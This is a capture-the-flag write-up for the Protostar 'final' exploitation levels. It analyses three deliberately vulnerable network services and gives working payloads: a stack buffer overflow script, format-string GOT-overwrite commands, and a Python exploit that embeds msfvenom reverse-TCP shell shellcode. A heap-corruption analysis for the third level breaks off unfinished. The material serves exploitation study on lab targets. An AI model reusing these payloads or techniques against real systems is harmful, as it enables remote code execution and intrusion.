Exploit Exercises - Protostar - Final levels



Final 0

For this level we have got a binary listening on port 2995.


Let’s find out what this binary is up to.

0x08049833 <main+0>:    push   %ebp
0x08049834 <main+1>:    mov    %esp,%ebp
0x08049836 <main+3>:    and    $0xfffffff0,%esp
0x08049839 <main+6>:    sub    $0x20,%esp
0x0804983c <main+9>:    movl   $0x0,0x8(%esp)
0x08049844 <main+17>:   movl   $0x0,0x4(%esp)
0x0804984c <main+25>:   movl   $0x8049c74,(%esp)  ; "final0"
0x08049853 <main+32>:   call   0x8048e58 <background_process>
0x08049858 <main+37>:   movl   $0xbb3,(%esp)
0x0804985f <main+44>:   call   0x80492f5 <serve_forever>
0x08049864 <main+49>:   mov    %eax,0x18(%esp)
0x08049868 <main+53>:   mov    0x18(%esp),%eax
0x0804986c <main+57>:   mov    %eax,(%esp)
0x0804986f <main+60>:   call   0x80493d5 <set_io>
0x08049874 <main+65>:   call   0x804975a <get_username>
0x08049879 <main+70>:   mov    %eax,0x1c(%esp)
0x0804987d <main+74>:   mov    $0x8049c7b,%eax    ; "No such user %s\n"
0x08049882 <main+79>:   mov    0x1c(%esp),%edx
0x08049886 <main+83>:   mov    %edx,0x4(%esp)
0x0804988a <main+87>:   mov    %eax,(%esp)
0x0804988d <main+90>:   call   0x8048bac <printf@plt>

We have got a service waiting for our commands. The magic is happening in get_username().

0x0804975e <get_username+4>:    sub    $0x224,%esp
0x08049764 <get_username+10>:   movl   $0x200,0x8(%esp)   ; 512
0x0804976c <get_username+18>:   movl   $0x0,0x4(%esp)     ; 0
0x08049774 <get_username+26>:   lea    -0x210(%ebp),%eax  ; var A
0x0804977a <get_username+32>:   mov    %eax,(%esp)
0x0804977d <get_username+35>:   call   0x8048aec <memset@plt>
0x08049782 <get_username+40>:   lea    -0x210(%ebp),%eax  ;
0x08049788 <get_username+46>:   mov    %eax,(%esp)
0x0804978b <get_username+49>:   call   0x8048aac <gets@plt>

So we have got a 512 byte buffer. The binary reads in some input and stores it in there. This is a simple stack based buffer overflow.

0x08049790 <get_username+54>:   movl   $0xa,0x4(%esp)     ; pass 0x0a
0x08049798 <get_username+62>:   lea    -0x210(%ebp),%eax  ; pass A
0x0804979e <get_username+68>:   mov    %eax,(%esp)
0x080497a1 <get_username+71>:   call   0x8048a9c <strchr@plt>
0x080497a6 <get_username+76>:   mov    %eax,-0x10(%ebp)
0x080497a9 <get_username+79>:   cmpl   $0x0,-0x10(%ebp)   ; compare against null
0x080497ad <get_username+83>:   je     0x80497b5 <get_username+91>
0x080497af <get_username+85>:   mov    -0x10(%ebp),%eax
0x080497b2 <get_username+88>:   movb   $0x0,(%eax)        ; zero out
0x080497b5 <get_username+91>:   movl   $0xd,0x4(%esp)     ; pass 0x0d
0x080497bd <get_username+99>:   lea    -0x210(%ebp),%eax  ; pass A
0x080497c3 <get_username+105>:  mov    %eax,(%esp)
0x080497c6 <get_username+108>:  call   0x8048a9c <strchr@plt>
0x080497cb <get_username+113>:  mov    %eax,-0x10(%ebp)
0x080497ce <get_username+116>:  cmpl   $0x0,-0x10(%ebp)   ; compare against null
0x080497d2 <get_username+120>:  je     0x80497da <get_username+128>
0x080497d4 <get_username+122>:  mov    -0x10(%ebp),%eax
0x080497d7 <get_username+125>:  movb   $0x0,(%eax)        ; zero out

This part zeroes out the first 0x0a and 0x0d in the strings.

0x080497da <get_username+128>:  movl   $0x0,-0xc(%ebp)    ; setup loop variable
0x080497e1 <get_username+135>:  jmp    0x8049807 <get_username+173>
0x080497e3 <get_username+137>:  mov    -0xc(%ebp),%ebx
0x080497e6 <get_username+140>:  mov    -0xc(%ebp),%eax
0x080497e9 <get_username+143>:  movzbl -0x210(%ebp,%eax,1),%eax
0x080497f1 <get_username+151>:  movsbl %al,%eax
0x080497f4 <get_username+154>:  mov    %eax,(%esp)
0x080497f7 <get_username+157>:  call   0x8048adc <toupper@plt>
0x080497fc <get_username+162>:  mov    %al,-0x210(%ebp,%ebx,1)
0x08049803 <get_username+169>:  addl   $0x1,-0xc(%ebp)
0x08049807 <get_username+173>:  mov    -0xc(%ebp),%ebx    ;
0x0804980a <get_username+176>:  lea    -0x210(%ebp),%eax  ; A
0x08049810 <get_username+182>:  mov    %eax,(%esp)
0x08049813 <get_username+185>:  call   0x8048b8c <strlen@plt>
0x08049818 <get_username+190>:  cmp    %eax,%ebx          ; end of string
0x0804981a <get_username+192>:  jb     0x80497e3 <get_username+137>

Next, every character of the string is converted toupper.

0x0804981c <get_username+194>:  lea    -0x210(%ebp),%eax
0x08049822 <get_username+200>:  mov    %eax,(%esp)        ; pass A
0x08049825 <get_username+203>:  call   0x8048c7c <strdup@plt>
0x0804982a <get_username+208>:  add    $0x224,%esp
0x08049830 <get_username+214>:  pop    %ebx
0x08049831 <get_username+215>:  pop    %ebp
0x08049832 <get_username+216>:  ret    

And finally, the string is copied to the heap.


So we create a pattern to identify the offset for the return address. We also must keep in mind, to terminate the string with 0x0a or 0x0d. This is to garantee, that our shellcode does not get mangled in the toupper loop.

 1import sys, socket
 2import struct
 4HOST = ""
 5PORT = 2995
 7s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 8s.connect((HOST, PORT))
10shellcode = "\xe9\x1e\x00\x00\x00" +"\xb8\x04\x00\x00\x00" +"\xbb\x01\x00\x00\x00" +"\x59" +"\xba\x0f\x00\x00\x00" +"\xcd\x80" +"\xb8\x01\x00\x00\x00" +"\xbb\x00\x00\x00\x00" +"\xcd\x80" +"\xe8\xdd\xff\xff\xff" +"\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21"
12offset = 532
13packet = "aaa\x0d"
14packet += "\x90"*8 + shellcode
15packet += "\xCC"*(offset-len(packet))
16packet += "\x74\xf4\xff\xbf"
17packet += "\x0a"
21data = s.recv(1024)
22print "%s" % data

Final 1

For this level we have got a binary listening on port 2994.


Let’s find out what this binary is up to.

0x08049ab9 <main+0>:	push   %ebp
0x08049aba <main+1>:	mov    %esp,%ebp
0x08049abc <main+3>:	and    $0xfffffff0,%esp
0x08049abf <main+6>:	sub    $0x20,%esp
0x08049ac2 <main+9>:	movl   $0x0,0x8(%esp)
0x08049aca <main+17>:	movl   $0x0,0x4(%esp)
0x08049ad2 <main+25>:	movl   $0x8049f5f,(%esp)
0x08049ad9 <main+32>:	call   0x8048f98 <background_process>
0x08049ade <main+37>:	movl   $0xbb2,(%esp)
0x08049ae5 <main+44>:	call   0x8049435 <serve_forever>
0x08049aea <main+49>:	mov    %eax,0x18(%esp)
0x08049aee <main+53>:	mov    0x18(%esp),%eax
0x08049af2 <main+57>:	mov    %eax,(%esp)
0x08049af5 <main+60>:	call   0x8049515 <set_io>
0x08049afa <main+65>:	call   0x8049a31 <getipport>
0x08049aff <main+70>:	call   0x804993d <parser>

Once again, we have got a service waiting for our commands. The magic is happening in parser().

0x08049940 <parser+3>:  	sub    $0x98,%esp
0x08049946 <parser+9>:  	mov    $0x8049f0e,%eax         ; "[final1] $ "
0x0804994b <parser+14>: 	mov    %eax,(%esp)
0x0804994e <parser+17>: 	call   0x8048ccc <printf@plt>
0x08049953 <parser+22>: 	jmp    0x8049a08 <parser+203>  ; start loop
0x08049958 <parser+27>: 	lea    -0x88(%ebp),%eax        ; input buffer
0x0804995e <parser+33>: 	mov    %eax,(%esp)
0x08049961 <parser+36>: 	call   0x80498f1 <trim>
0x08049966 <parser+41>: 	movl   $0x9,0x8(%esp)          ; 9 chars
0x0804996e <parser+49>: 	movl   $0x8049f1a,0x4(%esp)    ; "username "
0x08049976 <parser+57>: 	lea    -0x88(%ebp),%eax        ; input buffer
0x0804997c <parser+63>: 	mov    %eax,(%esp)
0x0804997f <parser+66>: 	call   0x8048d9c <strncmp@plt>
0x08049984 <parser+71>: 	test   %eax,%eax
0x08049986 <parser+73>: 	jne    0x80499a3 <parser+102>
0x08049988 <parser+75>: 	lea    -0x88(%ebp),%eax        ; input buffer
0x0804998e <parser+81>: 	add    $0x9,%eax               ; string after "username "
0x08049991 <parser+84>: 	mov    %eax,0x4(%esp)
0x08049995 <parser+88>: 	movl   $0x804a220,(%esp)       ; target address
0x0804999c <parser+95>: 	call   0x8048cbc <strcpy@plt>
0x080499a1 <parser+100>:	jmp    0x80499fb <parser+190>  ; continue
0x080499a3 <parser+102>:	movl   $0x6,0x8(%esp)          ; 6 chars
0x080499ab <parser+110>:	movl   $0x8049f24,0x4(%esp)    ; "login "
0x080499b3 <parser+118>:	lea    -0x88(%ebp),%eax        ; input buffer
0x080499b9 <parser+124>:	mov    %eax,(%esp)
0x080499bc <parser+127>:	call   0x8048d9c <strncmp@plt>
0x080499c1 <parser+132>:	test   %eax,%eax
0x080499c3 <parser+134>:	jne    0x80499fb <parser+190>  ; continue
0x080499c5 <parser+136>:	movzbl 0x804a220,%eax          ; username buffer
0x080499cc <parser+143>:	test   %al,%al
0x080499ce <parser+145>:	jne    0x80499de <parser+161>
0x080499d0 <parser+147>:	movl   $0x8049f2b,(%esp)       ; "invalid protocol"
0x080499d7 <parser+154>:	call   0x8048d4c <puts@plt>
0x080499dc <parser+159>:	jmp    0x80499fb <parser+190>  ; continue
0x080499de <parser+161>:	lea    -0x88(%ebp),%eax        ; input buffer
0x080499e4 <parser+167>:	add    $0x6,%eax               ; string after "login "
0x080499e7 <parser+170>:	mov    %eax,(%esp)
0x080499ea <parser+173>:	call   0x804989a <logit>
0x080499ef <parser+178>:	movl   $0x8049f3c,(%esp)       ; "login failed"
0x080499f6 <parser+185>:	call   0x8048d4c <puts@plt>
0x080499fb <parser+190>:	mov    $0x8049f0e,%eax         ; "[final1] $ "
0x08049a00 <parser+195>:	mov    %eax,(%esp)
0x08049a03 <parser+198>:	call   0x8048ccc <printf@plt>
0x08049a08 <parser+203>:	mov    0x804a1e8,%eax          ; stdin@@GLIBC_2.0
0x08049a0d <parser+208>:	mov    %eax,0x8(%esp)          ;
0x08049a11 <parser+212>:	movl   $0x7f,0x4(%esp)         ; 127
0x08049a19 <parser+220>:	lea    -0x88(%ebp),%eax        ; input buffer
0x08049a1f <parser+226>:	mov    %eax,(%esp)
0x08049a22 <parser+229>:	call   0x8048bdc <fgets@plt>
0x08049a27 <parser+234>:	test   %eax,%eax
0x08049a29 <parser+236>:	jne    0x8049958 <parser+27>

The heap variable for the username is 0x7F. This means that 9 bytes are empty, because “username ” is stripped in parser+81. After storing the username, we can take the jne in parser+145 with “login “. The next step is the logit() function.

0x0804989d <logit+3>: 	sub    esp,0x228
0x080498a3 <logit+9>:	  mov    eax,0x8049ee4                   ; format string
0x080498a8 <logit+14>:	mov    edx,DWORD PTR [ebp+0x8]
0x080498ab <logit+17>:	mov    DWORD PTR [esp+0x14],edx        ; login
0x080498af <logit+21>:	mov    DWORD PTR [esp+0x10],0x804a220  ; username
0x080498b7 <logit+29>:	mov    DWORD PTR [esp+0xc],0x804a2a0   ; "host:ip"
0x080498bf <logit+37>:	mov    DWORD PTR [esp+0x8],eax         ; format string
0x080498c3 <logit+41>:	mov    DWORD PTR [esp+0x4],0x200       ; 512 bytes
0x080498cb <logit+49>:	lea    eax,[ebp-0x208]                 ; target buffer
0x080498d1 <logit+55>:	mov    DWORD PTR [esp],eax
0x080498d4 <logit+58>:	call   0x8048dac <snprintf@plt>
0x080498d9 <logit+63>:	lea    eax,[ebp-0x208]
0x080498df <logit+69>:	mov    DWORD PTR [esp+0x4],eax
0x080498e3 <logit+73>:	mov    DWORD PTR [esp],0xf
0x080498ea <logit+80>:	call   0x8048b6c <syslog@plt>

The snprintf function looks secure. Other functions like trim() are also not vulnerable. The only hint we have got would be a format string injection that is passed to syslog() via snprintf(). Lets test that idea. To do this we provide a format string expression as a username.

[final1] $ username AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login test
login failed

This produces a syslog entry with memory information that looks like DWORDs.

Jun 26 06:51:32 (none) final1: Login from as [AAAA8049ee4.804a2a0.804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239] with password [test]

So we can utilize a format string injection an try to overwrite an address.


Now, we need to identify the offset at for the format string. To do this, we fill the buffer for username, as this is a global variable with a fixed address. So we can easily reference it. The format string vector will be placed in the login buffer.

First, let’s identify correct offset.

$python -c 'print "username "+"A"*117+"\r\nlogin XBBBBCCCCDDDDEEEE"+".".join(["%(i)d:%%%(i)d$x" % {"i":i} for i in range(40,60)])+"\r\n"' | nc 2994

And the respective syslog entry gives detailed insights

^[[AJun 26 10:09:29 (none) final1: Login from as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] with password [XBBBBCCCCDDDDEEEE40:41414141.41:41414141.42:41414141.43:41414141.44:205d4141.45:68746977.46:73617020.47:726f7773.48:585b2064.49:42424242.50:43434343.51:%]

So the target offset for the format string vulnerability is 49 DWORDs, including one padding byte. To verify the funtion of the attack we construct the following test.

$ python -c 'print "username "+"A"*117+"\r\nlogin XBBBBCCCCDDDDEEEE"+"%49$x"+"%50$x"+"%51$x"+"%52$x"+"\r\n"' | nc 2994

And the syslog output is as expected.


In order to gain control over the executable, we could overwrite the syslog() function pointer. Let’s examine the respective instructions.

gdb$ x/1i 0x080499f6
0x80499f6 <parser+185>:	call   0x8048d4c <puts@plt>
gdb$ x/3i 0x8048d4c
0x8048d4c <puts@plt>:	jmp    DWORD PTR ds:0x804a194
0x8048d52 <puts@plt+6>:	push   0x138
0x8048d57 <puts@plt+11>:	jmp    0x8048acc
gdb$ x/x 0x804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>:	0x08048d52

So this leads to the following username string to test the address.

python -c 'print "username "+"A"*117+"\r\nlogin "+"X"*1+"\x94\xa1\x04\x08"+"\x95\xa1\x04\x08"+"\x96\xa1\x04\x08"+"\x97\xa1\x04\x08"+"%49$n"+"%50$n"+"%51$n"+"%52$n"+"\r\n"' | nc 2994

In the gdb we can verify that the target address is overwritten after the syslog() call.

gdb$ x/x 0x804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>:	0xb8b8b8b8

The next step is to point the address to the global variable “username” 0x804a220. This means we need to calculate the following way with a four byte overwrite.

Byte 1: 0x20 - 0xB8 + 0xff = 0x67 + 0x01 (104)
Byte 2: 0xA2 - 0x20 = 0x82 (130)
Byte 3: 0x04 - 0xA2 + 0xff = 0x61 + 0x01 (98)
Byte 4: 0x08 - 0x04 = 0x04 (4)

Unfortunately, writing 0x04 for the last byte results in a 0x0C. This is a problem, so we need to try a two-byte write.

Bytes 1+2: 0xA220 - 0x00B0 = 0xA170 (41328)
Bytes 3+4: 0x0804 - 0xA220 + 0xffff = 0x65E3 + 0x01 (26084)

So with the following command, we can redirect the execution flow to our buffer. For testing purposes, the username is filled with 0xCC (int3) instructions to stop execution when the code is hit in gdb.

$ python -c 'print "username "+"\xCC"*117+"\r\nlogin "+"X"*1+"\x94\xa1\x04\x08"+"\x96\xa1\x04\x08"+"%41328x%49$n"+"%26084x%50$n"+"\r\n"' | nc 2994

in the end the binary behaves as expected.

Program received signal SIGTRAP, Trace/breakpoint trap.
  EAX: 0x00000000  EBX: 0xB7FD7FF4  ECX: 0x00011000  EDX: 0xB7FD7FF4  o d I t S z A p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFFB48  ESP: 0xBFFFFAAC  EIP: 0x0804A221
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
0x804a221 <username+1>:	int3   
0x804a222 <username+2>:	int3   
0x804a223 <username+3>:	int3   
0x804a224 <username+4>:	int3   
0x804a225 <username+5>:	int3   
0x804a226 <username+6>:	int3   
0x804a227 <username+7>:	int3   
0x804a228 <username+8>:	int3   
0x0804a221 in username ()

Now we need to find a proper shellcode. with msfvenom we can easily create an appropriate reverese tcp shell. The final exploit looks as follows.

 2# -*- coding: utf-8 -*-
 4import socket
 5import struct
 6import sys
 9target_ip = ""
10target_port = 2994
12def send_data(sock, out=""):
13  print(len(out),out.strip())
14  sock.send(out)
15  msg = sock.recv(1024)
16  print(msg.strip())
19#test data
20target_1 = "AAAA"
21target_2 = "BBBB"
22target_3 = "CCCC"
23target_4 = "DDDD"
25#target address
26target = 0x804a194 #puts()
27target_1 = struct.pack("<I",target+0)
28target_2 = struct.pack("<I",target+1)
29target_3 = struct.pack("<I",target+2)
30target_4 = struct.pack("<I",target+3)
32#$ msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=4444 -f python -e x86/shikata_ga_nai
33shellcode =  "\x90"
34shellcode += "\xba\xe7\x96\xde\xe9\xda\xce\xd9\x74\x24\xf4\x5b\x2b"
35shellcode += "\xc9\xb1\x12\x31\x53\x12\x83\xc3\x04\x03\xb4\x98\x3c"
36shellcode += "\x1c\x0b\x7e\x37\x3c\x38\xc3\xeb\xa9\xbc\x4a\xea\x9e"
37shellcode += "\xa6\x81\x6d\x4d\x7f\xaa\x51\xbf\xff\x83\xd4\xc6\x97"
38shellcode += "\xd3\x8f\x38\x65\xbc\xcd\x3a\x78\x60\x5b\xdb\xca\xfe"
39shellcode += "\x0b\x4d\x79\x4c\xa8\xe4\x9c\x7f\x2f\xa4\x36\xaf\x1f"
40shellcode += "\x3a\xae\xc7\x70\xde\x47\x76\x06\xfd\xc5\xd5\x91\xe3"
41shellcode += "\x59\xd2\x6c\x63"
43#shellcode =  "\xCC"
44shellcode += "\x90"*(127-10-len(shellcode))
46if len(shellcode) > 117:
47  print("Exploit code too large")
48  exit
50#test offset
51exploit = "X" + "BBBB" + "%x."*16
52#test data
53exploit = "X" + target_1 + target_2 + target_3 + target_4 + "%49$x" + "%50$x" + "%51$x" + "%52$x"
54#exploit code - one-byte write
55exploit = "X" + target_1 + target_2 + target_3 + target_4 + "%104x%49$n" + "%130x%50$n" + "%98x%51$n" + "%04x%52$n"
56#test data
57exploit = "X" + target_2 + target_3 + ".%49$x" + ".%50$x"
58#exploit code - two-byte write
59exploit = "X" + target_1 + target_3 + "%41328x%49$n"+"%26084x%50$n"
61sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
63if sock:
64  msg = sock.recv(1024)
65  print(msg.strip())
67  ret = send_data(sock, "username " + shellcode + "\r\n")
68  ret = send_data(sock, "login " + exploit + "\r\n")

Final 2

For this level we have got a service listening on port 2993.


Let’s find out what is happening in the binary.

0x0804be26 <main+0>:	push   %ebp
0x0804be27 <main+1>:	mov    %esp,%ebp
0x0804be29 <main+3>:	and    $0xfffffff0,%esp
0x0804be2c <main+6>:	sub    $0x20,%esp
0x0804be2f <main+9>:	movl   $0x1,0x4(%esp)
0x0804be37 <main+17>:	movl   $0xd,(%esp)
0x0804be3e <main+24>:	call   0x8048dcc <signal@plt>
0x0804be43 <main+29>:	movl   $0x0,0x8(%esp)
0x0804be4b <main+37>:	movl   $0x0,0x4(%esp)
0x0804be53 <main+45>:	movl   $0x804c2e2,(%esp)
0x0804be5a <main+52>:	call   0x80491d8 <background_process>
0x0804be5f <main+57>:	movl   $0xbb1,(%esp)
0x0804be66 <main+64>:	call   0x8049675 <serve_forever>
0x0804be6b <main+69>:	mov    %eax,0x18(%esp)
0x0804be6f <main+73>:	mov    0x18(%esp),%eax
0x0804be73 <main+77>:	mov    %eax,(%esp)
0x0804be76 <main+80>:	call   0x8049755 <set_io>
0x0804be7b <main+85>:	mov    0x18(%esp),%eax
0x0804be7f <main+89>:	mov    %eax,(%esp)
0x0804be82 <main+92>:	call   0x804bd47 <get_requests>
0x0804be87 <main+97>:	leave  
0x0804be88 <main+98>:	ret    

The Service is waiting for incoming requests.

0x0804bd47 <get_requests+0>:	push   %ebp
0x0804bd48 <get_requests+1>:	  mov    %esp,%ebp
0x0804bd4a <get_requests+3>:	  sub    $0x428,%esp
0x0804bd50 <get_requests+9>:	  movl   $0x0,-0x10(%ebp)
0x0804bd57 <get_requests+16>:	  cmpl   $0xfe,-0x10(%ebp)

First, prepare the stack an initialize a loop variable.

0x0804bd5e <get_requests+23>:	  jg     0x804bddb <get_requests+148>
0x0804bd60 <get_requests+25>:	  movl   $0x1,0x4(%esp)         ; pass size
0x0804bd68 <get_requests+33>:	  movl   $0x80,(%esp)           ; pass num = 128
0x0804bd6f <get_requests+40>:	  call   0x804b4ee <calloc>     ;
0x0804bd74 <get_requests+45>:	  mov    %eax,-0x14(%ebp)

Next, allocate 128 bytes on the heap.

0x0804bd77 <get_requests+48>:	  mov    -0x10(%ebp),%eax
0x0804bd7a <get_requests+51>:	  mov    -0x14(%ebp),%edx
0x0804bd7d <get_requests+54>:	  mov    %edx,-0x414(%ebp,%eax,4)
0x0804bd84 <get_requests+61>:	  addl   $0x1,-0x10(%ebp)

This snippets takes care of the loop.

0x0804bd88 <get_requests+65>:	  movl   $0x80,0x8(%esp)        ; pass nbyte = 128
0x0804bd90 <get_requests+73>:	  mov    -0x14(%ebp),%eax
0x0804bd93 <get_requests+76>:	  mov    %eax,0x4(%esp)         ; pass buf
0x0804bd97 <get_requests+80>:	  mov    0x8(%ebp),%eax         ;
0x0804bd9a <get_requests+83>:	  mov    %eax,(%esp)            ; pass FILE
0x0804bd9d <get_requests+86>:	  call   0x8048e5c <read@plt>

Next, read 128 bytes into the allocated buffer.

0x0804bda2 <get_requests+91>:	  cmp    $0x80,%eax
0x0804bda7 <get_requests+96>:	  jne    0x804bdde <get_requests+151>

Check whether 128 bytes were read with the last command. This is probably a break condition.

0x0804bda9 <get_requests+98>:	  movl   $0x4,0x8(%esp)         ; size = 4
0x0804bdb1 <get_requests+106>:	movl   $0x804c2d1,0x4(%esp)   ; pass s2 = "FSRD"
0x0804bdb9 <get_requests+114>:	mov    -0x14(%ebp),%eax
0x0804bdbc <get_requests+117>:	mov    %eax,(%esp)            ; pass s1
0x0804bdbf <get_requests+120>:	call   0x8048fdc <strncmp@plt>
0x0804bdc4 <get_requests+125>:	test   %eax,%eax
0x0804bdc6 <get_requests+127>:	jne    0x804bde1 <get_requests+154>

Compare the input against a global variable. If the string is not found at the beginning, do a jump to the end of the loop. This is probably a break condition.

0x0804bdc8 <get_requests+129>:	mov    -0x14(%ebp),%eax
0x0804bdcb <get_requests+132>:	add    $0x4,%eax
0x0804bdce <get_requests+135>:	mov    %eax,(%esp)
0x0804bdd1 <get_requests+138>:	call   0x804bcd0 <check_path>
0x0804bdd6 <get_requests+143>:	jmp    0x804bd57 <get_requests+16>
0x0804bddb <get_requests+148>:	nop
0x0804bddc <get_requests+149>:	jmp    0x804bde2 <get_requests+155>
0x0804bdde <get_requests+151>:	nop
0x0804bddf <get_requests+152>:	jmp    0x804bde2 <get_requests+155>
0x0804bde1 <get_requests+154>:	nop
0x0804bde2 <get_requests+155>:	movl   $0x0,-0xc(%ebp)
0x0804bde9 <get_requests+162>:	jmp    0x804be1c <get_requests+213>

Don’t know exactly what’s happening here.

0x0804bdeb <get_requests+164>:	movl   $0xb,0x8(%esp)          ; pass nbyte = 11
0x0804bdf3 <get_requests+172>:	movl   $0x804c2d6,0x4(%esp)    ; pass buf = "Process OK\n"
0x0804bdfb <get_requests+180>:	mov    0x8(%ebp),%eax
0x0804bdfe <get_requests+183>:	mov    %eax,(%esp)             ; pass FILE
0x0804be01 <get_requests+186>:	call   0x8048dfc <write@plt>
0x0804be06 <get_requests+191>:	mov    -0xc(%ebp),%eax
0x0804be09 <get_requests+194>:	mov    -0x414(%ebp,%eax,4),%eax
0x0804be10 <get_requests+201>:	mov    %eax,(%esp)             ; pass ptr
0x0804be13 <get_requests+204>:	call   0x804a9c2 <free>
0x0804be18 <get_requests+209>:	addl   $0x1,-0xc(%ebp)

This terminates the loop and cleans up the allocated memory.

0x0804be1c <get_requests+213>:	mov    -0xc(%ebp),%eax
0x0804be1f <get_requests+216>:	cmp    -0x10(%ebp),%eax
0x0804be22 <get_requests+219>:	jl     0x804bdeb <get_requests+164>

And another loop condition at the end. Let’s take a look at the check_path() function.

0x0804bcd3 <check_path+3>:	  sub    $0x28,%esp
0x0804bcd6 <check_path+6>: 	  movl   $0x2f,0x4(%esp)          ; pass c = "/"
0x0804bcde <check_path+14>:	  mov    0x8(%ebp),%eax
0x0804bce1 <check_path+17>:	  mov    %eax,(%esp)              ; pass *s
0x0804bce4 <check_path+20>:	  call   0x8048f7c <rindex@plt>
0x0804bce9 <check_path+25>:	  mov    %eax,-0x10(%ebp)         ; ptr to last occurrence

The last occurence of 0x2F is identified.

0x0804bcec <check_path+28>:	  mov    -0x10(%ebp),%eax
0x0804bcef <check_path+31>:	  mov    %eax,(%esp)              ; pass *s
0x0804bcf2 <check_path+34>:	  call   0x8048edc <strlen@plt>
0x0804bcf7 <check_path+39>:	  mov    %eax,-0xc(%ebp)          ; no of bytes
0x0804bcfa <check_path+42>:	  cmpl   $0x0,-0x10(%ebp)
0x0804bcfe <check_path+46>:	  je     0x804bd45 <check_path+117>

With the rindex of slash, the length of the remaining string is calculated.

0x0804bd00 <check_path+48>:	  movl   $0x804c2cc,0x4(%esp)     ; pass needle = "ROOT"
0x0804bd08 <check_path+56>:	  mov    0x8(%ebp),%eax
0x0804bd0b <check_path+59>:	  mov    %eax,(%esp)              ; pass haystack
0x0804bd0e <check_path+62>:	  call   0x8048f4c <strstr@plt>
0x0804bd13 <check_path+67>:	  mov    %eax,-0x14(%ebp)
0x0804bd16 <check_path+70>:	  cmpl   $0x0,-0x14(%ebp)
0x0804bd1a <check_path+74>:	  je     0x804bd45 <check_path+117>

Find the needle “ROOT” in the last part of the string.

0x0804bd1c <check_path+76>:	  jmp    0x804bd22 <check_path+82>
0x0804bd1e <check_path+78>:	  subl   $0x1,-0x14(%ebp)
0x0804bd22 <check_path+82>:	  mov    -0x14(%ebp),%eax
0x0804bd25 <check_path+85>:	  movzbl (%eax),%eax
0x0804bd28 <check_path+88>:	  cmp    $0x2f,%al
0x0804bd2a <check_path+90>:	  jne    0x804bd1e <check_path+78>

This iterates a pointer backwards from “ROOT” to locate the first occurence of 0x2F “/”. There might be a problem with this loop, as the pointer will iterate out of the current variable into other memory on the heap.

0x0804bd2c <check_path+92>:	  mov    -0xc(%ebp),%eax
0x0804bd2f <check_path+95>:	  mov    %eax,0x8(%esp)           ; pass size
0x0804bd33 <check_path+99>:	  mov    -0x10(%ebp),%eax
0x0804bd36 <check_path+102>:	mov    %eax,0x4(%esp)           ; pass src
0x0804bd3a <check_path+106>:	mov    -0x14(%ebp),%eax
0x0804bd3d <check_path+109>:	mov    %eax,(%esp)              ; pass dest
0x0804bd40 <check_path+112>:	call   0x8048f8c <memmove@plt>
0x0804bd45 <check_path+117>:	leave  

So with the following command we can trigger the memmove() at 0x0804bd40.

#perl -e 'print("FSRD/ROOT"."A"x64 ."C"x64 ."\r\n")' | nc 2993

Also notice, that the services reads 128 bytes in a newly allocated buffer in a loop. Only when less than 128 bytes are received, or the string “FSRD” is not at the beginning of the string does the service close the connection. This means, that we can send sequential requests that will end up next to each other on the heap. At this point the reverse search for 0x2F in check_path:88 and memmove comes in handy.


By sending two specifically crafted requests we might be able overwrite the chunk size and prev_size for the second allocated memory chunk.

       packet #1                  packet #2
                       /|\                    \  /
                        |      memmove()       ||

The command to trigger the write looks as follows.

#perl -e 'print(FSRD.Ax123 ./.FSRDROOT.Bx111 ./CCCCDDDD)' | nc 2993

With the above input, the service segfaults during free(). Let’s take a look at the memory to verify the overwrite of size and prev_size.

gdb$ x/34x 0x0804E008-8
0x804e000:      0x00000000      0x00000089      0x44525346      0x41414141
0x804e010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e020:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e030:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e040:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e050:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e060:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e070:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e080:      0x41414141      0x2f414141
gdb$ x/34x 0x0804E090-8
0x804e088:      0x43434343      0x44444444      0x44525346      0x544f4f52
0x804e098:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0a8:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0b8:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0c8:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0d8:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0e8:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0f8:      0x42424242      0x42424242      0x42424242      0x2f424242
0x804e108:      0x43434343      0x44444444

So the write succeeds.

Program received signal SIGSEGV, Segmentation fault.
  EAX: 0x42424242  EBX: 0xB7FD7FF4  ECX: 0x0804C2D6  EDX: 0x43434343  o d I t s Z a P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF828  ESP: 0xBFFFF7E0  EIP: 0x0804AAEF
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
0x804aaef <free+301>:   mov    DWORD PTR [eax+0xc],edx
0x804aaf2 <free+304>:   mov    eax,DWORD PTR [ebp-0x18]
0x804aaf5 <free+307>:   mov    edx,DWORD PTR [ebp-0x14]
0x804aaf8 <free+310>:   mov    DWORD PTR [eax+0x8],edx
0x804aafb <free+313>:   mov    eax,DWORD PTR [ebp-0x24]
0x804aafe <free+316>:   add    DWORD PTR [ebp-0x30],eax
0x804ab01 <free+319>:   mov    eax,DWORD PTR [ebp-0x38]
0x804ab04 <free+322>:   add    eax,0x34
0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
3648    final2/../common/malloc.c: No such file or directory.
        in final2/../common/malloc.c
gdb$ i r  
